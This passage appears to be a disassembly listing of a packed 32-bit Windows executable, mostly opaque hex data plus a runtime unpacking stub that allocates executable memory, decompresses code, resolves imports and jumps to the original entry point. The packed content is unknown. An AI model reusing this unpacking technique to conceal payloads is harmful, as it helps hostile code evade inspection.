0B3C3AA5Fh, 44FC750Ch, 5AAB8825h dd 41692B8h, 4818E4EBh, 667506ACh, 1EC9AFC5h, 1AF90E0h dd 28D08A5Eh, 669EC1CDh, 7EC84D54h, 0B1AD0C24h, 0C2030787h dd 0EB8D82EBh, 0C9999F4h, 544CB91Ah, 98887E8h, 393C6A16h dd 44AC926h, 0C80A743Ch, 2E90FEFDh, 7EB5012h, 55892C70h dd 0B70F05F8h, 88A91046h, 7D77759Ch, 79A4AB9Ch, 78760AC9h dd 4DB36CB7h, 5E401FFCh, 3360012h, 0CF3BF875h, 0C0347D2Eh dd 0F9004617h, 0FC5501D0h, 3EE87B2Ch, 0FE8174D3h, 75D78AC8h dd 3A2A8E1Ch, 660DC0C2h dd 0E608E8C1h, 861013C0h, 61044C4h, 0CEBB8601h, 0CCF50473h dd 0C812EB41h, 0BC40595Eh, 35741446h, 562ADD3Bh, 0A49D2830h dd 11331645h, 0FD86E90Bh, 5117E7C0h, 24378ED4h, 830332F8h dd 0F86602ECh, 0C521276h, 0FEA9E850h, 8EC55930h, 3182491Ch dd 3AD86A57h, 90E515B3h, 0FA7EAAEEh, 944E9B19h, 4328CDDEh dd 0C88B1EDh, 73E04D74h, 7D625C98h, 0C9084B28h, 0F9C4C1EAh dd 0A5F32C02h, 0E1830F1Fh, 7BF145B6h, 0FA160C04h, 0D1F652A4h dd 0F1AB19A1h, 6CAA08CAh, 3B60CE5Ah, 343D32DAh, 0C3A68132h dd 5AA27501h, 179084A2h, 59C457Fh, 0E09869Ah, 5251F009h dd 94911B56h, 8AD68A8Ch, 31BB8985h, 71EC7DBFh, 486EA818h dd 29C82B3Ch, 5E51B236h, 92F92032h, 601A047Ch, 0D0BB8CCAh dd 0F40EC548h, 8499352h, 9AE44BEAh, 0C7218B33h, 0C91E7E51h dd 0AC60EC06h, 747140C8h, 46DDB592h, 412912D4h, 8F369F15h dd 0C2066EFBh, 6B5ACAEBh, 0FA900F1Bh, 758C7D3Bh, 0EB28F90Eh dd 27F3DA11h, 5C7C240h, 90A650FFh, 730C7310h, 0D42B7DE0h dd 5EB8499Ch, 0DA4ECEE3h, 40AB0B45h, 922DB408h, 0C9CF402Dh dd 7F018DF6h, 0C51992Ch, 82345DE1h, 0A35C9839h, 7406A8B6h dd 8036E24h, 743137Dh, 0A90C4E51h, 107ECEA0h, 21CFFF85h dd 5750407Bh, 4FE85351h, 957521Fh, 881B481Bh, 0A90109BFh dd 39C5EB14h, 736DC165h, 0ACCB6276h, 7484E4CBh, 0C45411Ah dd 0A32D8389h, 5B10D06Ch, 46F63884h, 0FD938B89h, 40414062h dd 62D2CD0Ch, 4B9C7E83h, 0FDC0858Fh, 0EBDA4EDCh, 1063114Eh dd 6BDEB23h, 7D50CEC9h, 141E55B1h, 29FD285h, 0F698D65Dh dd 0AAC7F20Dh, 0E78A136Eh, 2974B8ECh, 137F5244h, 91788A9h dd 154E254Eh, 0EEB016Ah, 0D6604D8Bh, 79D6BA41h, 7151F066h dd 64479640h, 685A4D11h, 0D66F6C30h, 92B91C4Dh, 9152C502h dd 44ACEBBBh, 0D79C6A9Dh, 8AFC8428h, 0F36B6FAFh, 2B302A80h dd 0D0DA89F1h, 91052E8h, 0C4D3B1Ch, 0EB416601h, 4C365FF3h dd 6DFC246Bh, 421865E9h, 45251BCDh, 3C40B904h, 8D144820h dd 18017C03h, 0D027C783h, 0B0E9C1CFh, 32E17360h, 50768D51h dd 842596DBh, 8A420938h, 0F683A807h, 88A32C04h, 1D8859C2h dd 0CB1EA1E7h, 6585A51Ch, 111C3289h, 783808A3h, 54E22243h dd 25520C19h, 0D4941425h, 7041635Dh, 63696C88h, 374613Ah dd 65206E6Fh, 7C6E8F72h, 0FBCE1229h, 0FF758B20h, 54012EB7h dd 0C6F76568h, 7F63763Ch, 148DED64h, 0E5357325h, 6ECBF36Ch dd 62EA74B3h, 61765F0Fh, 0DD69FE36h, 4453F164h, 4742C74Ch dd 64826635h, 6C61372Ch, 57337A20h, 62132A9Ch, 966EB54Eh dd 751498DBh, 331C9B73h, 0BC4D1D32h, 67613D79h, 786F4287h dd 0BA770741h, 7478318Fh, 94149966h, 991E15Bh, 445B22F9h dd 41A65347h, 6E706B67h, 5776C36h, 74697845h, 84C02650h dd 0F8D843E0h, 3C6148A0h, 0E07E646Eh, 0F1707A4Fh, 0FE471858h dd 0A14D7A74h, 1C4D6CE0h, 6956B483h, 1AFD7472h, 0AA0741BCh dd 9D0CAE63h, 9C8C1ABh, 2BB591A9h, 1E8A6D2h, 0B6242771h dd 5209C649h, 1854919h, 6000CC77h, 2424748Bh, 28247C8Bh dd 3380B2FCh, 2B3A4DBh, 6DE8h, 33F67300h, 64E8C9h, 1C730000h dd 5BE8C033h, 73000000h, 4102B323h, 4FE810B0h, 12000000h dd 75F773C0h, 0D4EBAA3Fh, 4DE8h, 75CB2B00h, 42E810h, 28EB0000h dd 74E8D1ACh, 0EBC9134Dh, 0C148911Ch, 0E8AC08E0h, 2Ch dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h dd 1B3C58Bh, 2BF78B56h, 5EA4F3F0h, 0D2028EEBh, 168A0575h dd 0C3D21246h, 0E841C933h, 0FFFFFFEEh, 0E7E8C913h, 72FFFFFFh dd 7C2BC3F2h, 7C892824h, 0C2611C24h, 0Ch, 0F80E4h, 169Ch dd 0A68h, 0F8C37h, 0F8038h, 0F803Ch, 400000h, 77E805D8h dd 77E7A5FDh, 4F7AD2B8h, 59888DF0h, 89100012h, 548B0141h dd 528B0424h, 0E902C60Ch, 2B05C283h, 0FC4A89CAh, 0B8C3C033h dd 0F04F7AD2h, 58F64h, 83000000h, 535504C4h, 52565751h dd 1212988Dh, 538B1000h, 0E88B5218h, 68406Ah, 0FF000010h dd 6A0473h, 3104B8Bh, 0FF018BCAh, 0F88B5AD0h, 338B5250h dd 320438Bh, 89088BC2h, 438B204Bh, 8BC2031Ch, 1C4B8908h dd 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h, 8430358h dd 8B52F88Bh, 0FC468BF0h, 2B04C083h, 85689F0h, 890C4B8Bh dd 0D7FF144Eh, 12FA8589h, 0F08B1000h, 5A144B8Bh, 0CA030CEBh dd 800068h, 57006A00h, 0C68B11FFh, 595F5E5Ah, 0E0FF5D5Bh dd 41E9C0h, 8Ch dup(0) dd 15h, 0 dd 0F8030h, 340AFDD8h, 0B77E79Eh, 4 dup(0) db 0 aLoadlibraryage db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0 align 1000h _nsp0 ends ; Section 2. (virtual address 000FA000) ; Virtual size : 0002042A ( 132138.) ; Section size in file : 0002042A ( 132138.) ; Offset to raw data for section: 000FA000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 4FA000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 0F9000h, 0 dd 400000h, 0 dd 77E60000h, 7 dup(0) dd 320000h, 0 dd offset sub_401000 align 8 dd 1, 0 dd 136h, 6 dup(0) dd 2, 160h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 1E679h, 3 dup(0) dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h dd 77E75CB5h, 4 dup(0) dd 0FA0E0h, 0FA09Ch, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh dd 74h, 74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h dd 72466C61h, 6565h, 69784500h, 6F725074h, 73736563h, 13000000h dd 34F6023Ah db 81h, 25h, 0C0h ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 004FA513 SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-0D7h] cmp byte ptr [ecx], 1 jz loc_4FA3AF mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-143h] mov [ebp-143h], eax add [ebp-113h], eax lea esi, [ebp-0CFh] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-0ABh] test eax, eax jz loc_4FA513 mov [ebp-11Bh], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_4FA474 pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-153h] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_4FA1E1 add edi, 4 mov ecx, 0 jmp short loc_4FA1F7 ; --------------------------------------------------------------------------- loc_4FA1E1: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_4FA1EB: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_4FA224 add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_4FA1F7: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-0A7h] push dword ptr [ebp-0ABh] mov edx, esi mov ecx, edi mov eax, [ebp-11Bh] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_4FA224 add ebx, 8 jmp short loc_4FA1EB ; --------------------------------------------------------------------------- loc_4FA224: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-11Bh] call dword ptr [ebp-0A7h] lea esi, [ebp-113h] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_4FA28B loc_4FA24C: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_4FA251: ; CODE XREF: start+136j cmp al, 1 ja short loc_4FA24C mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_4FA271 mov bl, [edx] cmp [edi], bl jnz short loc_4FA24C mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_4FA27B ; --------------------------------------------------------------------------- loc_4FA271: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_4FA27B: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_4FA251 loc_4FA28B: ; CODE XREF: start+F7j call sub_4FA3CA lea ecx, [ebp-0FFh] mov eax, [ecx+8] cmp eax, 0 jz loc_4FA323 mov esi, edx sub esi, [ecx+10h] jz short loc_4FA323 mov [ecx+10h], esi lea esi, [ebp-0CFh] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_4FA2C8 mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_4FA2D0 ; --------------------------------------------------------------------------- loc_4FA2C8: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_4FA2D0: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_4FA2F9 cmp al, 0EFh ja short loc_4FA2E3 loc_4FA2DD: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_4FA2D0 ; --------------------------------------------------------------------------- loc_4FA2E3: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_4FA2DD mov eax, [edi] add edi, 4 jmp short loc_4FA2DD ; --------------------------------------------------------------------------- loc_4FA2F9: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_4FA323 loc_4FA304: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_4FA311 add ebx, eax add [edi+ebx], cx jmp short loc_4FA304 ; --------------------------------------------------------------------------- loc_4FA311: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_4FA316: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_4FA323 add ebx, eax add [edi+ebx], cx jmp short loc_4FA316 ; --------------------------------------------------------------------------- loc_4FA323: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-143h] mov edx, [esi] lea esi, [ebp-0E7h] mov al, [esi] cmp al, 1 jnz short loc_4FA376 add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-0AFh] pop edi pop esi cmp eax, 1 jnz loc_4FA513 add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-0AFh] loc_4FA376: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_4FA3AF inc ebx lea esi, [ebp-143h] mov edx, [esi] loc_4FA390: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-0AFh] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_4FA390 loc_4FA3AF: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_4FA3C3 popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4FA3C3: ; CODE XREF: start+264j popa popf jmp sub_401000 start endp ; =============== S U B R O U T I N E ======================================= sub_4FA3CA proc near ; CODE XREF: start:loc_4FA28Bp mov esi, [ebp-14Bh] or esi, esi jz loc_4FA46F mov edx, [ebp-143h] add esi, edx loc_4FA3E0: ; CODE XREF: sub_4FA3CA+61j cmp dword ptr [esi], 0 jnz short loc_4FA3F3 cmp dword ptr [esi+4], 0 jnz short loc_4FA3F3 cmp dword ptr [esi+8], 0 jnz short loc_4FA3F3 jmp short loc_4FA46D ; --------------------------------------------------------------------------- loc_4FA3F3: ; CODE XREF: sub_4FA3CA+19j ; sub_4FA3CA+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-73h] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-0B7h] pop edi pop edx pop ebx cmp eax, 0 jz short loc_4FA46F mov [ebp-13Bh], eax add edi, [esi] add esi, 4 loc_4FA421: ; CODE XREF: sub_4FA3CA+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_4FA42D inc esi jmp short loc_4FA3E0 ; --------------------------------------------------------------------------- loc_4FA42D: ; CODE XREF: sub_4FA3CA+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_4FA441 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_4FA441: ; CODE XREF: sub_4FA3CA+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-13Bh] call dword ptr [ebp-0B3h] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_4FA46F mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_4FA421 ; --------------------------------------------------------------------------- loc_4FA46D: ; CODE XREF: sub_4FA3CA+27j clc retn ; --------------------------------------------------------------------------- loc_4FA46F: ; CODE XREF: sub_4FA3CA+8j ; sub_4FA3CA+4Aj ... jmp loc_4FA513 sub_4FA3CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FA474 proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004FA50F SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_4FA480: ; CODE XREF: sub_4FA474+12j movsb loc_4FA481: ; CODE XREF: sub_4FA474+34j ; sub_4FA474+7Dj call sub_4FA4F3 jnb short loc_4FA480 xor ecx, ecx call sub_4FA4F3 jnb short loc_4FA4AA xor eax, eax call sub_4FA4F3 jnb short loc_4FA4BB mov al, 10h loc_4FA49C: ; CODE XREF: sub_4FA474+2Fj call sub_4FA4F3 adc al, al jnb short loc_4FA49C jnz short loc_4FA4E8 stosb jmp short loc_4FA481 ; --------------------------------------------------------------------------- loc_4FA4AA: ; CODE XREF: sub_4FA474+1Bj call sub_4FA4FF dec ecx loop loc_4FA4C7 mov eax, ebp call sub_4FA4FD jmp short loc_4FA4E9 ; --------------------------------------------------------------------------- loc_4FA4BB: ; CODE XREF: sub_4FA474+24j lodsb shr eax, 1 jz short loc_4FA50F adc ecx, 2 mov ebp, eax jmp short loc_4FA4E9 ; --------------------------------------------------------------------------- loc_4FA4C7: ; CODE XREF: sub_4FA474+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_4FA4FD cmp eax, 7D00h jnb short loc_4FA4E7 cmp eax, 500h jnb short loc_4FA4E8 cmp eax, 7Fh ja short loc_4FA4E9 loc_4FA4E7: ; CODE XREF: sub_4FA474+65j inc ecx loc_4FA4E8: ; CODE XREF: sub_4FA474+31j ; sub_4FA474+6Cj inc ecx loc_4FA4E9: ; CODE XREF: sub_4FA474+45j ; sub_4FA474+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4FA481 sub_4FA474 endp ; =============== S U B R O U T I N E ======================================= sub_4FA4F3 proc near ; CODE XREF: sub_4FA474:loc_4FA481p ; sub_4FA474+16p ... add dl, dl jnz short locret_4FA4FC mov dl, [esi] inc esi adc dl, dl locret_4FA4FC: ; CODE XREF: sub_4FA4F3+2j retn sub_4FA4F3 endp ; =============== S U B R O U T I N E ======================================= sub_4FA4FD proc near ; CODE XREF: sub_4FA474+40p ; sub_4FA474+5Bp xor ecx, ecx sub_4FA4FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FA4FF proc near ; CODE XREF: sub_4FA474:loc_4FA4AAp inc ecx loc_4FA500: ; CODE XREF: sub_4FA4FF+Dj call sub_4FA4F3 adc ecx, ecx call sub_4FA4F3 jb short loc_4FA500 retn sub_4FA4FF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FA474 loc_4FA50F: ; CODE XREF: sub_4FA474+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_4FA474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FA513: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-0A3h] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_4FA52F mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_4FA52F: ; CODE XREF: .nsp1:004FA523j pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_4FA55E ; --------------------------------------------------------------------------- db 58h dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh db 0C1h, 0E2h ; --------------------------------------------------------------------------- loc_4FA55E: ; CODE XREF: .nsp1:004FA54Dj or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- db 89h dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh dd 0F8C41E5Fh, 80B90153h, 0 dd 5D00h, 0E6680020h, 90000001h, 5C00000Fh, 0AA310D02h dd 0A9DD4945h, 42313640h, 2726FC04h, 289057C8h, 0C19605DFh dd 0B9C54FF8h, 1A331BCBh, 0B0F3FD86h, 0B626D5F1h, 4BA6F514h dd 99972769h, 8F9AE417h, 0B27E0D7Ch, 0D1D6AB50h, 5879E836h dd 9418C663h, 2898E0DDh, 0F1C6E6ABh, 0ADA3D28Ch, 6D06E8A5h dd 49F8993Ch, 54CB1D55h, 0D74069ACh, 2C010BAFh, 0DA21C349h dd 0B0FCC31Ch, 214E56F7h, 6C7512CBh, 75E8FCFBh, 0B7DD0976h dd 0E202C623h, 0E88B1DDAh, 9A2C8AFEh, 80BD3F00h, 8DBE1374h dd 9E4378DDh, 38FAAC6Ah, 35E31B24h, 544B52E4h, 1E893B1Bh dd 96CEFCBDh, 0C13010D6h, 1759346Dh, 782B4AC9h, 544D2D51h dd 7A637C11h, 0A85BC1E1h, 0D9D905B7h, 2A811657h, 14B3EDD0h dd 5A476DF4h, 193750F5h, 1811F6AEh, 0C656EC03h, 33B84079h dd 41DA9232h, 0E296776Ah, 6FCA4608h, 0DCB78CA9h, 8F9FD49Fh dd 430CDC09h, 0EE15DEAFh, 0B4D30161h, 0D25FCDA2h, 0E84C746Eh dd 32EE1A21h, 0B132FC8Fh, 0A3C556F4h, 1D143E13h, 0D7188556h dd 7F969297h, 0E49257EFh, 5C7231FAh, 12F9D5F7h, 7A2F4914h dd 7F50C1A3h, 0DE5257ADh, 0B5CCF9C9h, 0AB33050h, 0BF495366h dd 1BE41A55h, 12342D0h, 0BF2BA8BDh, 3608B685h, 0B2495A09h dd 0A45FC887h, 479E54F4h, 0CC094DE6h, 298CA798h, 35EEA346h dd 0C98029E2h, 0FE841A1Eh, 0AE29BC23h, 1D18AAB0h, 80E861C0h dd 2DD3E747h, 36D1BF9Bh, 84CDF6ACh, 0D78C30Ah, 4ACE97E1h dd 4C1E88F6h, 182D57h, 0BBD53716h, 991AF9A9h, 0A859D9E3h dd 0DA56D177h, 672785D7h, 824584E3h, 62ECE7A6h, 8E83B7FFh dd 1D1CE4EEh, 20A9DF98h, 0C3DEB9E9h, 64FAAD30h, 833A6CCh dd 0F396FEF9h, 99932BE4h, 9A6DA603h, 0DCB49ECDh, 9D79FA8Ah dd 25B4FA51h, 3746CF8Fh, 0E28B097Ah, 21E4EA92h, 4B3A1595h dd 0A5E9EE7Eh, 0B8EB743Fh, 0A3B4F881h, 30C52024h, 0CBC0D6B7h dd 76B34841h, 0AE4B7611h, 36793E56h, 84577C28h, 0BB83D80Bh dd 460154F8h, 313AEBDBh, 0DB261C61h, 0F39371BBh, 0D803A9BCh dd 6EDAAA59h, 0BE5CA96Bh, 7A3956D4h, 7228274Dh, 768EA56Ch dd 0B4DD3A3Dh, 931AF9BAh, 0FDAAC153h, 0E00206AAh, 0AB7CE58Eh dd 6BAFD551h, 137AC315h, 0E10FBFA1h, 6D277457h, 66CB7EFAh dd 5A173E91h, 4BC3816h, 0BFEA60A0h, 20F16F2Eh, 0CB615211h dd 0E16B6071h, 839F889Ch, 985F608Fh, 540E8DAFh, 5D1C670Eh dd 63A92B40h, 0A2B87F00h, 48058372h, 219F2240h, 76F8911Fh dd 0B577405Ch, 0A759BE5Ah, 564A153Fh, 11D3F513h, 778793A9h dd 4551E709h, 7C6500A3h, 0BF74534h, 7A58078Fh, 0D591C6F6h dd 4BDE74EEh, 1570E75Ch, 0CB178970h, 2F35DE97h, 7A6C66A2h dd 50A08E0Ch, 3F279BA0h, 8150A8A2h, 837DFDB3h, 0A7D42653h dd 0DD5725A4h, 0F65A710Fh, 0C7F8506Fh, 70B8EDBAh, 0D117C379h dd 0FA21D330h, 497B9644h, 0DB14C8BEh, 232767h, 519BE2F5h dd 0C81E5C64h, 19406511h, 4F0828FFh, 8F216750h, 28516D99h dd 0B9909084h, 752A09E6h, 0B0E8FA12h, 2F34B924h, 8554E5C8h dd 1D91C8C9h, 0F6371Fh, 0F93F2029h, 3F2B5DE6h, 0FE961E9h dd 0E7F4F5F4h, 0B7FE70F7h, 2E111A33h, 8628EAB0h, 0C3FBC10Dh dd 0A2382B4Fh, 2BA6FF8h, 0A15C7F30h, 1033EFF8h, 0D3DD4C00h dd 0D197D710h, 88E90BC7h, 0C7964F02h, 2E13CB64h, 17973FD1h dd 3B88AA64h, 6FF5BFACh, 0D2316472h, 0CC2072C2h, 15047D17h dd 0F2BC7497h, 243FE70Dh, 2F2BDFACh, 922CA802h, 6EA906B3h dd 5D73DD56h, 4082C867h, 22341CB3h, 0D1E95C55h, 45E98600h dd 7B80916Ah, 0AEE7D4Bh, 3B3571BEh, 